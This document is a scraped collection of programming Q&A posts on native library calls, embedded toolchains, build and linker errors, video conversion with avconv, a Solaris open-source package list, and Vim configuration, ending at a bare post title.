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  • numpy calling sse2 via ctypes

    - by Daniel
    Hello, In brief, I am trying to call into a shared library from python, more specifically, from numpy. The shared library is implemented in C using sse2 instructions. Enabling optimisation, i.e. building the library with -O2 or –O1, I am facing strange segfaults when calling into the shared library via ctypes. Disabling optimisation (-O0), everything works out as expected, as is the case when linking the library to a c-program directly (optimised or not). Attached you find a snipped which exhibits the delineated behaviour on my system. With optimisation enabled, gdb reports a segfault in __builtin_ia32_loadupd (__P) at emmintrin.h:113. The value of __P is reported as optimised out. test.c: #include <emmintrin.h> #include <complex.h> void test(const int m, const double* x, double complex* y) { int i; __m128d _f, _x, _b; double complex f __attribute__( (aligned(16)) ); double complex b __attribute__( (aligned(16)) ); __m128d* _p; b = 1; _b = _mm_loadu_pd( (double *) &b ); _p = (__m128d*) y; for(i=0; i<m; ++i) { f = cexp(-I*x[i]); _f = _mm_loadu_pd( (double *) &f ); _x = _mm_loadu_pd( (double *) &x[i] ); _f = _mm_shuffle_pd(_f, _f, 1); *_p = _mm_add_pd(*_p, _f); *_p = _mm_add_pd(*_p, _x); *_p = _mm_mul_pd(*_p,_b); _p++; } return; } Compiler flags: gcc -o libtest.so -shared -std=c99 -msse2 -fPIC -O2 -g -lm test.c test.py: import numpy as np import os def zerovec_aligned(nr, dtype=np.float64, boundary=16): '''Create an aligned array of zeros. ''' size = nr * np.dtype(dtype).itemsize tmp = np.zeros(size + boundary, dtype=np.uint8) address = tmp.__array_interface__['data'][0] offset = boundary - address % boundary return tmp[offset:offset + size].view(dtype=dtype) lib = np.ctypeslib.load_library('libtest', '.' ) lib.test.restype = None lib.test.argtypes = [np.ctypeslib.ctypes.c_int, np.ctypeslib.ndpointer(np.float64, flags=('C', 'A') ), np.ctypeslib.ndpointer(np.complex128, flags=('C', 'A', 'W') )] n = 13 y = zerovec_aligned(n, dtype=np.complex128) x = np.ones(n, dtype=np.float64) # x = zerovec_aligned(n, dtype=np.float64) # x[:] = 1. lib.test(n,x,y) My system: Ubuntu Linux i686 2.6.31-22-generic Compiler: gcc (Ubuntu 4.4.1-4ubuntu9) Python: Python 2.6.4 (r264:75706, Dec 7 2009, 18:45:15) [GCC 4.4.1] Numpy: 1.4.0 I have taken provisions (cf. python code) that y is aligned and the alignment of x should not matter (I think; explicitly aligning x does not solve the problem though). Note also that i use _mm_loadu_pd instead of _mm_load_pd when loading b and f. For the C-only version _mm_load_pd works (as expected). However, when calling the function via ctypes using _mm_load_pd always segfaults (independent of optimisation). I have tried several days to sort out this issue without success ... and I am on the verge beating my monitor to death. Any input welcome. Daniel

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  • IAR Embedded Workbench MSP430 and *.lib files linking

    - by jeniusj
    I was assuming that it was a really simple task but I did not find anything relevant or my mistake. So putting my problem here i.e. I have some project for MSP430 which is actually in code composer studio. I have to run this whole code into IAR embedded workbench now. There are some library files(*.lib) that are also provided with the project and that should have to be linked to build the project. After little modifications code is compiling fine but I am unable to link the libraries and getting linker errors. I worked on IAR with avr but very very little just to test some sample codes. I did not find the option where to mention these library names and their respective paths. I checked out the linker tab but I am not getting any clue to link these .lib files with project.

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  • How to write configurable Embedded C code which can run on multihardware platform

    - by Adnan
    Hello all , What are the techniques used to write an embedded C software which has multi features. Features can be configurable for multi-hardware platform. I have developed a firmware based on a RTOS for ARM7. Now i want to make it a baseline firmware which can be used with similar, more or less features (configurable) on different microcontrollers, like MSP, or AVR etc. Being more specific, if i want to change different features of firmware for one hardware and others for the second. What technique should i adopt and is there any study material available. Regards

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  • Converting from mp4 to Xvid avi using avconv?

    - by Ricardo Gladwell
    I normally use avidemux to convert mp4s to Xvid AVI for my Philips Streamium SLM5500. Normally I select MPEG-4 ASP (Xvid) at Two Pass with an average bitrate f 1500kb/s for video and AC3 (lav) audio and it converts correctly. However, I'm trying to using avconv so I can automate the process with a script, but when I do this the video stutters and stops playing part way through. I have a suspicion its something to do with a faulty audio conversion. The commands I'm using are as follows: avconv -y -i video.mp4 -pass 1 -vtag xvid -c:a ac3 -b:a 128k -b:v 1500k -f avi /dev/null avconv -y -i video.mp4 -pass 2 -vtag xvid -c:a ac3 -b:a 128k -b:v 1500k -f avi video.avi There is a bewildering array of arguments for avconv. Is there something I'm doing wrong? Is there a way I can script avidemux from a headless server? Please see command line output: $ avconv -y -i video.mp4 -pass 1 -vtag xvid -an -b:v 1500k -f avi /dev/null avconv version 0.8.5-6:0.8.5-0ubuntu0.12.10.1, Copyright (c) 2000-2012 the Libav developers built on Jan 24 2013 14:49:20 with gcc 4.7.2 Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'video.mp4': Metadata: major_brand : isom minor_version : 1 compatible_brands: isomavc1 creation_time : 2013-02-04 13:53:38 Duration: 00:44:09.16, start: 0.000000, bitrate: 669 kb/s Stream #0.0(und): Video: h264 (High), yuv420p, 720x404 [PAR 1:1 DAR 180:101], 538 kb/s, 25 fps, 25 tbr, 100 tbn, 50 tbc Metadata: creation_time : 2013-02-04 13:53:38 Stream #0.1(und): Audio: ac3, 44100 Hz, stereo, s16, 127 kb/s Metadata: creation_time : 2013-02-04 13:53:42 [buffer @ 0x7f4c40] w:720 h:404 pixfmt:yuv420p Output #0, avi, to '/dev/null': Metadata: major_brand : isom minor_version : 1 compatible_brands: isomavc1 creation_time : 2013-02-04 13:53:38 ISFT : Lavf53.21.1 Stream #0.0(und): Video: mpeg4, yuv420p, 720x404 [PAR 1:1 DAR 180:101], q=2-31, pass 1, 1500 kb/s, 25 tbn, 25 tbc Metadata: creation_time : 2013-02-04 13:53:38 Stream mapping: Stream #0:0 -> #0:0 (h264 -> mpeg4) Press ctrl-c to stop encoding frame=66227 fps=328 q=2.0 Lsize= 0kB time=2649.16 bitrate= 0.0kbits/s video:401602kB audio:0kB global headers:0kB muxing overhead -100.000000% $ avconv -y -i video.mp4 -pass 2 -vtag xvid -c:a ac3 -b:a 128k -b:v 1500k -f avi video.avi avconv version 0.8.5-6:0.8.5-0ubuntu0.12.10.1, Copyright (c) 2000-2012 the Libav developers built on Jan 24 2013 14:49:20 with gcc 4.7.2 Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'video.mp4': Metadata: major_brand : isom minor_version : 1 compatible_brands: isomavc1 creation_time : 2013-02-04 13:53:38 Duration: 00:44:09.16, start: 0.000000, bitrate: 669 kb/s Stream #0.0(und): Video: h264 (High), yuv420p, 720x404 [PAR 1:1 DAR 180:101], 538 kb/s, 25 fps, 25 tbr, 100 tbn, 50 tbc Metadata: creation_time : 2013-02-04 13:53:38 Stream #0.1(und): Audio: ac3, 44100 Hz, stereo, s16, 127 kb/s Metadata: creation_time : 2013-02-04 13:53:42 [buffer @ 0x12b4f00] w:720 h:404 pixfmt:yuv420p Incompatible sample format 's16' for codec 'ac3', auto-selecting format 'flt' [mpeg4 @ 0x12b3ec0] [lavc rc] Using all of requested bitrate is not necessary for this video with these parameters. Output #0, avi, to 'video.avi': Metadata: major_brand : isom minor_version : 1 compatible_brands: isomavc1 creation_time : 2013-02-04 13:53:38 ISFT : Lavf53.21.1 Stream #0.0(und): Video: mpeg4, yuv420p, 720x404 [PAR 1:1 DAR 180:101], q=2-31, pass 2, 1500 kb/s, 25 tbn, 25 tbc Metadata: creation_time : 2013-02-04 13:53:38 Stream #0.1(und): Audio: ac3, 44100 Hz, stereo, flt, 128 kb/s Metadata: creation_time : 2013-02-04 13:53:42 Stream mapping: Stream #0:0 -> #0:0 (h264 -> mpeg4) Stream #0:1 -> #0:1 (ac3 -> ac3) Press ctrl-c to stop encoding Input stream #0:1 frame changed from rate:44100 fmt:s16 ch:2 to rate:44100 fmt:flt ch:2 frame=66227 fps=284 q=2.2 Lsize= 458486kB time=2649.13 bitrate=1417.8kbits/s video:413716kB audio:41393kB global headers:0kB muxing overhead 0.741969%

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  • Free and Open Source Software in Oracle Solaris 11.1

    - by user13277799
    Oracle Solaris 11.1 contains number of Free and Open Source packages. The following table contains important FOSS packages with their versions available in this latest Oracle Solaris release. a2ps 4.14 aalib 1.4.0 pmtools 20071116 apache-ant 1.7.1 httpd 2.2.22 mod_dtrace 0.3.1 mod_fcgid 2.3.6 tomcat-connectors 1.2.28 mod_perl 2.0.4 mod_proxy_html 3.1.1 modsecurity-apache 2.5.9 mod_wsgi 3.3 apr 1.3.9 apr-util 1.3.9 areca 7.1 autoconf 2.68 autogen 5.9 automake 1.10 automake 1.11.2 automake 1.9.6 bash 4.1 bcc 0.16.17 beanshell 2.0b4 db 5.1.25 bind 9.6-ESV-R7-P2 binutils 2.21.1 bison 2.3 bzip2 1.0.6 cdrtools 3.00 clisp 2.47 cmake 2.8.6 gnu 0.5.11 conflict 20100627 convmv 1.15 coreutils 8.5 cups 1.4.5 curl 7.21.2 cvs 1.12.13 diffutils 2.8.7 doxygen 1.7.6.1 ejabberd 2.1.8 elinks 0.11.7 emacs 23.4 otp_src R12B-5 fcgi 2.4.0 fetchmail 6.3.22 flex 2.5.35 foomatic-db 20080903 foomatic-db-engine 3.0-20080903 foomatic-filters 4.0.15 foomatic-filters-ppds 20080818 fping 2.4b2_to gawk 3.1.8 gcc 3.4.3 gcc 4.5.2 gd 2.0.35 gdb 6.8 gdbm 1.8.3 gettext 0.16.1 grep 2.10 ghostscript 9.00 git 1.7.9.2 gnu-gs-fonts-other 6.0 gnu-gs-fonts-std 6.0 gmp 4.3.2 gnupg 2.0.17 gnuplot 4.6.0 pth 2.0.7 gocr 0.48 gperf 3.0.3 gpgme 1.1.8 grails 1.0.3 graphviz 2.28.0 tar 1.26 guile 1.8.6 gutenprint 5.2.7 gzip 1.4 hal-cups-utils 0.6.19 hexedit 1.2.12 hplip 3.10.9 httping 1.4.4 hwdata 0.5.11 iftop 0.17 ilmbase 1.0.1 ImageMagick 6.3.4 iperf 2.0.4 ipmitool 1.8.11 ircii 20060725 dhcp 4.1-ESV-R7 junit 4.10 INIT 2011-02-08 lcms 1.19 less 436 lftp 4.3.1 libassuan 2.0.1 confuse 2.6 libedit 20110802-3.0 libee 0.3.2 libestr 0.1.2 libevent 1.4.14b expat 2.1.0 libidn 1.19 libksba 1.1.0 libmcrypt 2.5.8 libmemcached 0.16 libmng 1.0.10 neon 0.29.5 libnet 1.1.5 libpcap 1.1.1 librsync 0.9.7 libsigsegv 2.6 libsndfile 1.0.23 libtecla 1.6.1 libtool 2.4.2 libtorrent 0.12.2 libusbugen 0.1.8 libusb 0.1.8 libxml2 2.7.6 libxslt 1.1.26 lighttpd 1.4.23 links 1.03 logilab-astng 0.19.0 logilab-common 0.40.0 lua 5.1.4 m4 1.4.12 make 3.82 mc 4.7.5.2 meld 1.4.0 memcached 1.4.5 memcached-java 2.0.1 mercurial 2.2.1 mpc 0.9 mpfr 2.4.2 mutt 1.5.21 mysql 5.1.37 ncftp 3.2.3 net-snmp 5.4.1 nethack 3.4.3 nmap 5.51 ntp-dev 4.2.5 open-fabrics 1.5.3 openexr 1.6.1 openldap 2.4.30 openscap 0.8.1 openssl 0.9.8q openssl 1.0.0j libopenusb 1.0.1 p7zip 9.20.1 pam_pkcs11 0.6.0 patch 2.5.9 pconsole 1.0 pcre 8.21 perl 5.12.4 DBI 1.58 Net-SSLeay 1.36 pmtools 1.10 XML-Parser 2.36 XML-Simple 2.18 PHP 5.2.17 PHP 5.3.14 pinentry 0.7.6 privoxy 3.0.17 proftpd 1.3.3 psutils p17 pv 1.2.0 pwgen 2.06 pylint 0.18.0 CherryPy 3.1.2 coverage 3.5 jsonrpclib 0.1.3 ldtp 2.1.1 M2Crypto 0.21.1 Mako 0.4.1 nose 1.1.2 ply 3.1 pybonjour 1.1.1 pycups 1.9.46 pycurl 7.19.0 lxml 2.3.3 pyOpenSSL 0.11 Python 2.6.8 Python 2.7.3 setuptools 0.6 quagga 0.99.19 quilt 0.60 rdiff-backup 1.3.3 readline 5.2 rpm2cpio 0.5.11 rsync 3.0.8 rsyslog 6.2.0 rtorrent 0.8.2 ruby 1.8.7 samba 3.6.6 sane-backends 1.0.19 sane-frontends 1.0.14 screen 4.0.3 sed 4.2.1 sendmail 8.14.5 slang 2.2.4 slib 3b1 slrn 0.9.9 snort 2.8.4.1 sox 14.3.2 spawn-fcgi 1.6.3 squid 3.1.18 stdcxx 4.2.1 subversion 1.7.5 sudo 1.8.4.5 swig 1.3.35 expect 5.45 tcl 8.5.9 tk 8.5.9 tls 1.6 tcpdump 4.1.1 tcsh 6.17.00 texinfo 4.7 tidy 1.0.0 timezone apache-tomcat 6.0.35 top 3.8beta1 trousers 0.3.6 unixODBC 2.3.0 unrar 4.1.4 unzip 6.0 vim 7.3 visual-panels wget 1.12 which 2.16 wireshark 1.8.2 wxGTK 2.8.12 xorriso 0.6.0 xz 5.0.1 zip 3.0 zlib 1.2.3 zsh 4.3.17

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  • Educational, well-written FOSS projects to read, study or discuss

    - by Godot
    Before you say it: yes, this "question" has been asked other times. However, I could not fine many of such questions and not that easily, and those I found had similar results. What I'm trying to say that there are no comprehensive lists of well written Open Source projects, so I decided to set some requirements for the entries (one or possibly more): Idiomatic use of the language in which they are written The project should be lightweight. Not as in "a few kbs", as in "clean" and possibly following the UNIX philosophy, making an efficient use of resources and performing its duty and nothing more. No code bloat, most importantly. Projects like Firefox and GNOME wouldn't qualify, for example. Minimal reliance on external, non-standard libraries, with exceptions for some common FOSS libraries (curses, Xlib, OpenGL and possibly "usual suspects" like gtk+, webkit and Boost). Reliance on well-written libraries is welcome. No reliance on proprietary software - for obvious reasons (programs that rely on XNA, DirectX, Cocoa and similar, for example). Well-documented code is welcome. Include link to web interfaces to their repositories if possible. Here are some sample projects that often pop up in these threads: Operating Systems Plan 9 from Bell Labs: More or less, the official "sequel" to UNIX. Written in C by the same people who invented C! NetBSD: The most portable BSD implementation, written in C and also a good example of portable and organized code. Network and Databases Sqlite: Extremely lightweight and extremely efficient, one of the best pieces of C software I've seen. Count the lines yourself! Lighttpd: A small but pretty reliable web server written in C. Programming languages and VMs Lua: extremely lightweight multi-paradigm programming language. Written in C. Tiny C Compiler: Really tiny C compiler. Not really comparable to GCC or Clang but does its job. PyPy: A Python implementation written in Python. Pharo: OK, I admit it, I'm not really a Smalltalk expert but Pharo is a fork of Squeak and looked rather interesting. Stackless Python - An implementation of Python that doesn't rely on the C call stack - written in C (with some parts in Python) Games and 3D: Angband: One of the most accessible roguelike codebases around here, written in C. Ogre3D: Cross-platform 3D engine. Gets bloated if you don't skip the platform-specific implementation code, otherwise is a pretty solid example of good C++ OO. Simon Tatham's Portable Puzzle Collection: Title says it all. Other - dwm: Lightweight window manager. Written in C. Emulation and Reverse Engineering - Bochs: x86 emulator, written in C++ and tiny enough. - MAME: If you want to see C at one of its lowest levels, MAME is for you. May not be as clean as the other projects but it can teach you A LOT. Before you ask: I didn't mention Linux because it has become quite bloated in the last few years, Linus has also confirmed it. Nonetheless, it'd be a great educational read the same, even if for other reasons. Same for GCC. Feel free to edit or wikify my post. I hope you won't lock my question, I'm only trying to organize a little community effort for the good of all those people who want to enhance their coding skills.

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  • Exporting makefile from Eclipse CDT

    - by Alex Farber
    I have C++ project in the Ubuntu OS, Eclipse CDT. My final goal is to build the project binaries for FreeBSD OS. The first test. I create simple C++ CDT project with main.cpp file: cout << "OK" << endl; and build it. Then I open Terminal window in Release directory: alex@alex-linux:~/workspace/HelloWorld/Release$ ls HelloWorld main.d main.o makefile objects.mk sources.mk subdir.mk alex@alex-linux:~/workspace/HelloWorld/Release$ rm HelloWorld main.d main.o alex@alex-linux:~/workspace/HelloWorld/Release$ ls makefile objects.mk sources.mk subdir.mk alex@alex-linux:~/workspace/HelloWorld/Release$ make Building file: ../main.cpp Invoking: GCC C++ Compiler g++ -O3 -Wall -c -fmessage-length=0 -MMD -MP -MF"main.d" -MT"main.d" -o"main.o" "../main.cpp" Finished building: ../main.cpp Building target: HelloWorld Invoking: GCC C++ Linker g++ -o"HelloWorld" ./main.o Finished building target: HelloWorld alex@alex-linux:~/workspace/HelloWorld/Release$ ./HelloWorld OK alex@alex-linux:~/workspace/HelloWorld/Release$ So far, so good. Now I copy the whole project tree to FreeBSD and trying to build it: $ cd /home/alex/project $ ls main.cpp release $ cd release $ ls makefile objects.mk sources.mk subdir.mk $ make "makefile", line 5: Need an operator "makefile", line 10: Need an operator "makefile", line 11: Need an operator "makefile", line 12: Need an operator CDT-generated makefile doesn't work. This is makefile beginning: $ Automatically-generated file. Do not edit! -include ../makefile.init RM := rm -rf $ All of the sources participating in the build are defined here -include sources.mk -include subdir.mk -include objects.mk ... Line 5 is -include ../makefile.init. Really, there is no such file. But it works by some way on Ubuntu computer. What is the trick, how can I build this? BTW, manually written makefile works: all: g++ -O0 -g3 -Wall -c -fmessage-length=0 -MMD -MP -MF"main.d" -MT"main.d" -o"main.o" "../main.cpp" g++ -o"HelloWorld" ./main.o Note: $ in makefile is actually #, I replaced it because # creates formatting problems inside of stackoverflow pre block.

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  • xcode linker error on iPhone app (Only on simulator)

    - by RexOnRoids
    Im getting this linker error that won't let me compile. It only happens on the simulator. KEY POINTS: - Happens only in simulator - Similar to THIS question, but found no FRAMEWORK_SEARCH_PATHS in my .pbxproj file - Though my OS is 10.6.2, I had to build target 1.5 to avoid other linker errors - libxml2.dylib IS required and is in my Frameworks group - The other cited libraries I have never heard of. - Tried bringing in those other Libs under frameworks, didn't solve. Build SpaceTweet of project SpaceTweet with configuration Debug Ld build/Debug-iphonesimulator/SpaceTweet.app/SpaceTweet normal i386 cd "/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)" setenv MACOSX_DEPLOYMENT_TARGET 10.5 setenv PATH "/Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin:/Developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin" /Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/gcc-4.2 -arch i386 -isysroot /Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator3.1.3.sdk "-L/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/build/Debug-iphonesimulator" -L/Users/Scott/Desktop "-L/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/../../libYAJLIPhone-0" -L/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/lib -L/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator3.1.3.sdk/usr/lib -L/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator3.0.sdk/usr/lib "-F/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/build/Debug-iphonesimulator" -filelist "/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/build/SpaceTweet.build/Debug-iphonesimulator/SpaceTweet.build/Objects-normal/i386/SpaceTweet.LinkFileList" -mmacosx-version-min=10.5 -framework Foundation -framework UIKit -framework CoreGraphics -framework AVFoundation -framework MessageUI -lYAJLIPhone -lxml2 -o "/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/build/Debug-iphonesimulator/SpaceTweet.app/SpaceTweet" ld: warning: in /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/lib/libxml2.dylib, missing required architecture i386 in file ld: warning: in /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/lib/libSystem.dylib, missing required architecture i386 in file ld: in /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/lib/libobjc.A.dylib, missing required architecture i386 in file collect2: ld returned 1 exit status Command /Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/gcc-4.2 failed with exit code 1 CLUE: Again, MY question is very similar to THIS SOLVED QUESTION except that in my case I did NOT find a FRAMEWORK_SEARCH_PATHS entry in the .pbxproj file in my project bundle and thus could not solve in the manner in which that question was solved.

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  • iPhone app linker error on Snow Leopard (Only on simulator)

    - by RexOnRoids
    Im getting this linker error that won't let me compile. It only happens on the simulator. NOTE: - OSX 10.6.2 but had to use 10.5 as build target to avoid other linker errors - libxml2.dylib IS required and is in my Frameworks group - The other cited libraries I have never heard of. - Tried bringing in those other Libs under frameworks, didn't solve. Build SpaceTweet of project SpaceTweet with configuration Debug Ld build/Debug-iphonesimulator/SpaceTweet.app/SpaceTweet normal i386 cd "/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)" setenv MACOSX_DEPLOYMENT_TARGET 10.5 setenv PATH "/Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin:/Developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin" /Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/gcc-4.2 -arch i386 -isysroot /Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator3.1.3.sdk "-L/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/build/Debug-iphonesimulator" -L/Users/Scott/Desktop "-L/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/../../libYAJLIPhone-0" -L/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/lib -L/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator3.1.3.sdk/usr/lib -L/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator3.0.sdk/usr/lib "-F/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/build/Debug-iphonesimulator" -filelist "/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/build/SpaceTweet.build/Debug-iphonesimulator/SpaceTweet.build/Objects-normal/i386/SpaceTweet.LinkFileList" -mmacosx-version-min=10.5 -framework Foundation -framework UIKit -framework CoreGraphics -framework AVFoundation -framework MessageUI -lYAJLIPhone -lxml2 -o "/Users/Scott/Desktop/iPhone Dev/SpaceTweet(Experimental)/build/Debug-iphonesimulator/SpaceTweet.app/SpaceTweet" ld: warning: in /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/lib/libxml2.dylib, missing required architecture i386 in file ld: warning: in /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/lib/libSystem.dylib, missing required architecture i386 in file ld: in /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/lib/libobjc.A.dylib, missing required architecture i386 in file collect2: ld returned 1 exit status Command /Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin/gcc-4.2 failed with exit code 1

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  • Using a Mac for cross platform development?

    - by mdec
    Who uses Macs for cross-platform development? By cross platform I essentially mean you can compile to target Windows or Unix (not necessarily both at the same time). I understand that this also has a lot to do with writing portable code, but I am more interested in people's experience with Mac OS X to develop software. I understand that there are a range of IDEs to choose from, I would probably use Eclipse (I like the GCC toolchain) however Xcode seems to be quite popular. Could it be used as described above? At a pinch I could always virtualise with VirtualBox or VMware Player or parallels to use Visual Studio (or dual boot for that matter). Having said that I am open to any other suggested compilers (with preferably an IDE that uses GCC.) Also with the range of Macs available, which one would you recommend? I would prefer a laptop (as I already have a desktop) but am unsure of reasonable specifications. If you are currently using a Mac to do development, I would love to hear what you develop on your Mac and what you like and don't like about it. I would primarily be developing in C/C++/Java. I am also looking to experiment with Boost and Qt, so I'm interested in hearing about any (potential) compatibility issues. If you have any other tips I'd love you hear what you have to say.

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  • How to build AndEngine in Android Studio?

    - by marcu
    I wanted to build AndEngine and andEnginePhysicsBox2DExtension from Anchor Center branch, but build failed. FAILURE: Build failed with an exception. * What went wrong: Execution failed for task ':andEngine:compileReleaseNdk'. > com.android.ide.common.internal.LoggedErrorException: Failed to run command: /home/mariusz/android/android-ndk/ndk-build NDK_PROJECT_PATH=null APP_BUILD_SCRIPT=/home/mariusz/Downloads/AndEngineApp/andEngine/build/intermediates/ndk/release/Android.mk APP_PLATFORM=android-17 NDK_OUT=/home/mariusz/Downloads/AndEngineApp/andEngine/build/intermediates/ndk/release/obj NDK_LIBS_OUT=/home/mariusz/Downloads/AndEngineApp/andEngine/build/intermediates/ndk/release/lib APP_ABI=all Error Code: 2 Output: /home/mariusz/android/android-ndk/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86/bin/../lib/gcc/arm-linux-androideabi/4.6/../../../../arm-linux-androideabi/bin/ld: /home/mariusz/Downloads/AndEngineApp/andEngine/build/intermediates/ndk/release/obj/local/armeabi-v7a/objs/andengine_shared//home/mariusz/Downloads/AndEngineApp/andEngine/src/main/jni/src/GLES20Fix.o: in function Java_org_andengine_opengl_GLES20Fix_glVertexAttribPointer:/home/mariusz/Downloads/AndEngineApp/andEngine/src/main/jni/src/GLES20Fix.c:9: error: undefined reference to 'glVertexAttribPointer' /home/mariusz/android/android-ndk/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86/bin/../lib/gcc/arm-linux-androideabi/4.6/../../../../arm-linux-androideabi/bin/ld: /home/mariusz/Downloads/AndEngineApp/andEngine/build/intermediates/ndk/release/obj/local/armeabi-v7a/objs/andengine_shared//home/mariusz/Downloads/AndEngineApp/andEngine/src/main/jni/src/GLES20Fix.o: in function Java_org_andengine_opengl_GLES20Fix_glDrawElements:/home/mariusz/Downloads/AndEngineApp/andEngine/src/main/jni/src/GLES20Fix.c:13: error: undefined reference to 'glDrawElements' collect2: ld returned 1 exit status make: *** [/home/mariusz/Downloads/AndEngineApp/andEngine/build/intermediates/ndk/release/obj/local/armeabi-v7a/libandengine_shared.so] Error 1 I'm using Android Studio version 0.86.

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  • Is this error caused by a 64-bit library being accessed by a Java program running in a 32-bit JVM?

    - by Mike
    I'm trying to create a simple Java app that uses JNI to call some native functions. I've followed the examples in the JNI Programming Guide and can't seem to get them to work. I have the following Hello World program, written in Java: class HelloWorld { private native void print(); public static void main(String [] args) { new HelloWorld().print(); } static { System.load("/home/mike/Desktop/libHelloWorld.so"); } } I compile it using javac HelloWorld.java, just like normal. Then I run javah -jni HelloWorld, and finally the following: gcc34 -shared -fpic -o libHelloWorld.so -I/<path to JDK>/include -I/<path to JDK>/include/linux HelloWorld.c gcc34 is the name of the GCC program on my machine here at work (I don't control that) and I obviously place the real path to the JDK in that command. When I run my program, using the standard java HelloWorld, I get an error saying the following: Exception in thread "main" java.lang.UnsatisfiedLinkError: /home/mike/Desktop/libHelloWorld.so: /home/mike/Desktop/libHelloWorld.so: wrong ELF class: ELFCLASS64 (Possible causes: architecture word width mismatch) at java.lang.ClassLoader$NativeLibrary.load(Native Method) at java.lang.ClassLoader.loadLibrary0(ClassLoader.java:1778) at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1674) at java.lang.Runtime.load0(Runtime.java:770) at java.lang.System.load(System.java:1003) at HelloWorld.<clinit>(HelloWorld.java:8) Could not find the main class: HelloWorld. Program will exit. I know I'm running a 32-bit JVM (and unfortunately, as of right now, I'm not allowed to get a 64-bit JVM). I tried telling GCC to compile in 32-bit mode using the "-m32" option, but we don't have (and again, can't get) what we need for that. Does this sound like a 32/64-bit conflict or something else?

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  • Why can't I source my vimrc after installing vundle?

    - by John N
    I'm trying to get my Vim to update on the fly after editing vimrc. So I followed the instructions at Vimcast which basically source vimrc every time you hit save. But that doesn't work for some reason (when I save my vimrc it doesn't give any errors), so I decided to run source $HOME/.vimrc manually and here's what I got: -bash: Configuration file for vim set nocompatible : command not found -bash: Plugin Management { filetype off : command not found -bash: .vimrc: line 7: syntax error near unexpected token `(' -bash: .vimrc: line 7: ` call vundle#rc()' And here's my Vim info (I'm running Mac OS X 10.7.3): VIM - Vi IMproved 7.3 (2010 Aug 15, compiled Jul 31 2011 19:27:29) Compiled by [email protected] Normal version without GUI. Features included (+) or not (-): -arabic +autocmd -balloon_eval -browse +builtin_terms +byte_offset +cindent -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments -conceal +cryptv +cscope +cursorbind +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic -emacs_tags +eval +ex_extra +extra_search -farsi +file_in_path +find_in_path +float +folding -footer +fork() -gettext -hangul_input +iconv +insert_expand +jumplist -keymap -langmap +libcall +linebreak +lispindent +listcmds +localmap -lua +menu +mksession +modify_fname +mouse -mouseshape -mouse_dec -mouse_gpm -mouse_jsbterm -mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte +multi_lang -mzscheme +netbeans_intg -osfiletype +path_extra -perl +persistent_undo +postscript +printer -profile -python -python3 +quickfix +reltime -rightleft -ruby +scrollbind +signs +smartindent -sniff +startuptime +statusline -sun_workshop +syntax +tag_binary +tag_old_static -tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo +vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp -xterm_clipboard -xterm_save system vimrc file: "$VIM/vimrc" user vimrc file: "$HOME/.vimrc" user exrc file: "$HOME/.exrc" fall-back for $VIM: "/usr/share/vim" Compilation: gcc -c -I. -D_FORTIFY_SOURCE=0 -Iproto -DHAVE_CONFIG_H -arch i386 -arch x86_64 -g -Os -pipe Linking: gcc -arch i386 -arch x86_64 -o vim -lncurses Could anybody tell me what's wrong here? Thanks so much!

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  • Fail to load NPAPI plugin in Google Chrome on Mac OS X

    - by Roman
